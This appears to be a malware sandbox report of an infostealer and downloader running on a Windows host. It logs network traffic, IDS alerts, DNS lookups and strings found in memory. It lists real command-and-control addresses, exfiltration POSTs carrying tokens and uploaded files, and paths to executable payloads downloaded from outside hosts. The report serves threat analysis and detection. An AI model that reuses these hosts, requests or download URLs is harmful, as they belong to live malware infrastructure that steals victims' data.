------HCGCAAKJDHJJJJJKKKFBContent-Disposition: form-data; name="token"d501c76697e561f249b26d05c0e03a642b6b88612af58289e2864d9405e4f712e59f8bd8------HCGCAAKJDHJJJJJKKKFBContent-Disposition: form-data; name="message"fplugins------HCGCAAKJDHJJJJJKKKFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCGDAAKFHIDBFIDBKFHHost: 185.215.113.206Content-Length: 7131Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivegr5sb.topAccept: /Content-Length: 71502Content-Type: multipart/form-data; boundary=------------------------PB5aaXOazngaYQhW1kjvUZData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 42 35 61 61 58 4f 61 7a 6e 67 61 59 51 68 57 31 6b 6a 76 55 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 52 61 6c 65 64 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 04 c7 b6 27 2b 89 03 47 60 6b 35 f8 17 f8 be f3 e3 51 17 24 25 fd ca b5 4d 16 ad 38 cf 4b 4b ad f8 43 4c 89 58 47 11 53 35 d9 d2 02 07 44 3e 02 9e 18 1a 98 db d5 31 aa fc cd ea da bd dd 49 40 e2 41 b2 89 1f a1 e3 d1 cf 71 8e 84 45 66 20 c4 55 7d 30 5d 35 c1 65 5d 53 45 4f ea e8 e5 b9 5a b3 02 8c 9d a7 3b ff 0d 48 62 fb 16 10 b5 66 a0 ca 54 9e 0b e9 9a 7b 88 1c be d5 ad 99 b1 54 4a 68 61 84 20 38 c5 9c 1a 3c 51 44 ce bf 91 b8 5d 53 a3 4b 6b 29 d6 60 d9 c7 b5 ef 22 33 f8 77 90 bc 15 f5 f3 f2 9d ac a1 2c 8b 8f fa ad c5 0d 69 dc 99 4c 5b b2 22 06 b9 3e 84 ff 19 4f 9d 76 94 64 44 60 7a cb 41 bf 88 79 20 c2 c0 c0 7b 91 51 5e c7 8f ac fe d0 1a eb 4d 6d e7 32 39 de 7f 0b dd 55 db 86 35 c2 18 c2 04 47 97 12 37 9d d4 60 c1 97 41 b0 e6 59 2e 83 29 c6 3e 8d d7 f7 90 27 a2 e0 e7 3e e8 7f bb 8a 62 7c f5 30 95 8b 06 5b 47 12 f0 6b cd a4 34 23 fb dd 96 b0 32 8e 9d e2 06 c0 a4 8b 99 a3 43 a8 05 34 a4 0a 37 f1 b3 a2 5b a4 40 0f 2d d2 75 68 6a 2c 04 c6 d9 10 ba 58 cc 1d ed 9b ce 9e 2a 2e 57 00 da 50 94 b1 d0 e4 c3 ad b9 42 56 e6 4c e1 f0 9c 0b 85 8e 79 6f 08 64 a4 23 6e e0 ab 35 06 d9 7d 25 d1 37 c0 ce d5 99 cc ab 09 6d 49 80 01 f7 52 40 ba 44 9a 27 86 ae 64 5b 10 4c 8d 75 20 b6 39 0e 22 4d c9 87 7f 04 e4 a6 f8 13 6a b9 f7 25 23 82 8d 2f 1b 8d 14 6a ed f4 99 dc 2f 4c ce 4c 9a c7 9b ea d6 30 fb 9b 75 90 c9 db 0f 0e bc 1e f7 97 ff 97 50 08 a4 14 ad 79 3e 49 37 0a 4f 8e 59 24 f3 6b 94 94 0b a4 de 3e c1 48 4a 95 48 d4 12 49 24 f0 70 da 06 cf 14 25 51 bb 24 3a c7 5a 92 19 12 5c ca 4f f1 02 3f 9b 11 de a2 c0 2a c2 c4 69 cf b5 74 28 ab 1d 00 33 69 c6 50 c1 40 f9 ed b6 01 06 79 04 28 ad b8 9e c6 f0 26 17 ba 5a b8 96 99 22 49 44 97 4c 09 19 94 02 ed 35 c8 b8 cb 89 5c 77 25 af 32 44 b6 2e 5f 3a a4 8d 92 dc 58 e8 4d 44 90 f3 fd be 17 af 8b 40 88 05 ed 69 30 72 c2 1c 23 42 76 42 a8 07 26 c3 d2 61 22 d2 4f 3c 8a 9c 3e fe a9 e1 93 2b ce 19 f6 70 62 28 c2 b5 5b 01 0f ec 5f da 8c 3e 69 80 17 a0 79 9b aa 22 99 28 5a 91 50 60 b7 8b 89 01 3d 45 24 7b 90 5f 08 39 06 fd c9 42 ac f2 18 8a 3b a8 6b cf 4d 22 1f 3a 6c 25 90 a7 2e 5d 6b 6b c2 ea e5 2a ad be 23 91 92 ca a9 4a e7 fa 9f f3 41 46 f1 b6 14 d1 02 c2 46 34 65 61 15 50 c2 2e 42 49 f7 52 66 fc 69 da 90 a1 be fb 66 5b 81 80 c4 4a e4 ed f1 a1 f0 c7 be 5b 78 45 45 11 66 13 9a 42 73 57 04 82 bb 13 d6 5c 9e 33 d6 6b d8 d2 45 c5 80 cb 83 a8 5b 59 05 98 ea a2 c3 4a af 2f 6c 0e 75 9d

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 104.21.50.161 104.21.50.161

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49817 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49849 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49866 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49877 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49900 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49929 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49945 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49953 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49952 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49964 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49979 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49970 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49977 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49986 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49993 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49994 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50000 -> 104.21.50.161:443

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6O1P0LWN9IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12787Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7ETY3DNEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15017Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=74LY5MZM25P0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20531Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: tacitglibbr.biz

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0042E0C0 recv,recv,recv,recv,

0_2_0042E0C0

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /kJZQfgRLErzqwUgdaDCN1734167391?argument=xcYEcX77GNw1TwQo1734336105 HTTP/1.1Host: home.fivegr5sb.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16

Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: f384e6dcaa.exe, 00000024.00000003.2943043081.0000000000B5A000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953519002.0000000000B5B000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954819360.0000000000B5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ equals www.youtube.com (Youtube)
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=dd0b7807bf8dad9737db2056; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35131Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveMon, 16 Dec 2024 08:01:33 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: drive-connect.cyou
Source: global traffic	DNS traffic detected: DNS query: se-blurry.biz
Source: global traffic	DNS traffic detected: DNS query: zinc-sneark.biz
Source: global traffic	DNS traffic detected: DNS query: dwell-exclaim.biz
Source: global traffic	DNS traffic detected: DNS query: formy-spill.biz
Source: global traffic	DNS traffic detected: DNS query: covery-mover.biz
Source: global traffic	DNS traffic detected: DNS query: dare-curbys.biz
Source: global traffic	DNS traffic detected: DNS query: print-vexer.biz
Source: global traffic	DNS traffic detected: DNS query: impend-differ.biz
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.fivegr5sb.top
Source: global traffic	DNS traffic detected: DNS query: tacitglibbr.biz
Source: global traffic	DNS traffic detected: DNS query: fivegr5sb.top
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tacitglibbr.biz

Source: 153848897b.exe, 00000025.00000003.2979579217.0000000007202000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000003.3118352471.00000000070F1000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://.css
Source: 153848897b.exe, 00000025.00000003.2979579217.0000000007202000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000003.3118352471.00000000070F1000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://.jpg
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/ons
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.3347201888.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe16/well/random.exe
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe5
Source: skotes.exe, 00000005.00000002.3347201888.0000000001069000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe5999001
Source: skotes.exe, 00000005.00000002.3347201888.0000000001069000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe613G:p
Source: skotes.exe, 00000005.00000002.3347201888.0000000001069000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe613c:
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe68.2.5
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe=NyZ;
Source: skotes.exe, 00000005.00000002.3347201888.000000000100E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exeC:
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exePZ
Source: skotes.exe, 00000005.00000002.3347201888.0000000001069000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exeQ:b
Source: skotes.exe, 00000005.00000002.3347201888.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exeTTC:
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exeWN
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exea5
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exea5cbS
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exea5ceLMEMP
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exeb(q=
Source: skotes.exe, 00000005.00000002.3347201888.0000000001069000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exec61395d7j:
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exeqN5Z1
Source: 8b77671daf.exe, 0000002D.00000002.3345216171.000000000113E000.00000004.00000020.00020000.00000000.sdmp, 8b77671daf.exe, 0000002D.00000002.3342170968.00000000003C7000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: http://185.215.113.206
Source: 8b77671daf.exe, 0000002D.00000002.3345216171.0000000001198000.00000004.00000020.00020000.00000000.sdmp, 8b77671daf.exe, 0000002D.00000002.3345216171.000000000115D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 8b77671daf.exe, 0000002D.00000002.3345216171.0000000001198000.00000004.00000020.00020000.00000000.sdmp, 8b77671daf.exe, 0000002D.00000002.3342170968.00000000003C7000.00000040.00000001.01000000.00000012.sdmp, 8b77671daf.exe, 0000002D.00000002.3345216171.000000000115D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 8b77671daf.exe, 0000002D.00000002.3345216171.0000000001198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php%
Source: 8b77671daf.exe, 0000002D.00000002.3345216171.0000000001198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/o
Source: 8b77671daf.exe, 0000002D.00000002.3345216171.000000000113E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1
Source: 8b77671daf.exe, 0000002D.00000002.3345216171.0000000001198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php9
Source: 8b77671daf.exe, 0000002D.00000002.3345216171.0000000001198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php;
Source: 8b77671daf.exe, 0000002D.00000002.3345216171.0000000001198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpV
Source: 8b77671daf.exe, 0000002D.00000002.3345216171.0000000001198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpa
Source: 8b77671daf.exe, 0000002D.00000002.3342170968.00000000003C7000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpinit.exe
